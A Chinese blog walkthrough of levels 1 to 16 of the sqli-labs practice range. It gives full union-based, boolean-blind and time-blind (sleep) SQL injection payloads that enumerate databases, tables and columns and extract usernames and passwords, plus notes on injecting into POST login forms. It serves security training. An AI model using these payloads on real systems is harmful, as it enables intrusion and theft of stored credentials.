sqllabs靶场1到16关

第一关

url后输入?id=1 来到页面

给id后加' 报错了,再输入'' 没报错证明有字符型注入

?id=1' order by 3--+   正常    ?id=1' order by 4--+ 报错了

判断回显位有三个。

用联合查询

?id=1' and 1=2 union select1,2,group_concat(schema_name)from information_schema.schemata--+   (将所有数据库名称拼接)

爆出所有库名,再

?id=1' and 1=2 union select 1,2,group_concat(table_name)from

information_schema.tables  where table_schema='security'--+

爆出表是 emails,referers,uagents,users

?id=1' and 1=2 union select 1,2,group_concat(column_name) from

information_schema.columns where table_name='users'--+        爆出列

第二关

?id=1加' "报错 输入and1=1 正常 是数字型注入

然后和第一关步骤一样 只是少了个'

第三关

是(' ')的一个闭合方式  所以我们输入?id=1')  他就报错了

可见注入点  

再重复步骤一的方式

第四关

是(" ")的一个闭合方式,所以我们输入?id=1") 它就报错了

可见注入点

再重复步骤一的方式

第五关

可以看到到第五关后 输入id 后没有回显了 

我们输入?id=1'  之后报错了,可见是字符型

这里就不能用联合查询了,这里用到

无回显:页面有变化 布尔盲注  

布尔盲注适合页面对于错误和正确结果有不同反应

1.首先      ?id=1'and length((select database()))>9--+    用length()获取当前数据库名的长度

2.获取到长度以后  ?id=1' and ascii(substr((select database()),1,1))=115--+  将截取的库名第一位转换为ASCII码来 判断我们数据库名的第一位   

获得数据库名

  解释一下这里substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度

3.  ?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
4.    ?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
5.    ?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
6.    ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
 
7.    ?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
8.    ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

第六关

我们输入?id=1"  之后报错 可见闭合方式为"

再次按照第五关操作步骤来 

第七关

我们输入‘时报错,但没有报错信息,输入’--+之后还是报错  

那这里的闭合方式为'))

再次按照第五关操作步骤来 

第八关

输入?id=1' 后,没有显示的信息,那一样,按照第五关来

第九关

 页面无变化  时间盲注

第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,

这时我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
 
 
 
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

第十关

第十关和第九关一样只需要将闭合方式  单引号  换成   双引号

第十一关

登陆页面 post请求

从第十一关开始,可以发现页面就发生变化了,是账户登录页面。是post请求  我们要用#来注释

当我们输入1'   出现报错信息。根据报错信息可以推断该sql语句

username='参数' and password='参数'

第十二关

输入1" 的时候出现报错  根据报错信息  判断闭合方式为  ")

第十三关

十三关和十二关差不多,只需要将双引号换成单引号

第十四关

十四关和十一关差不多,只需要将单引号换成双引号

第十五关

这里不显示报错信息了,只显示能不能登陆进去

布尔盲注了

第十六关

第十六关和十二关一样,但需要布尔盲注。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值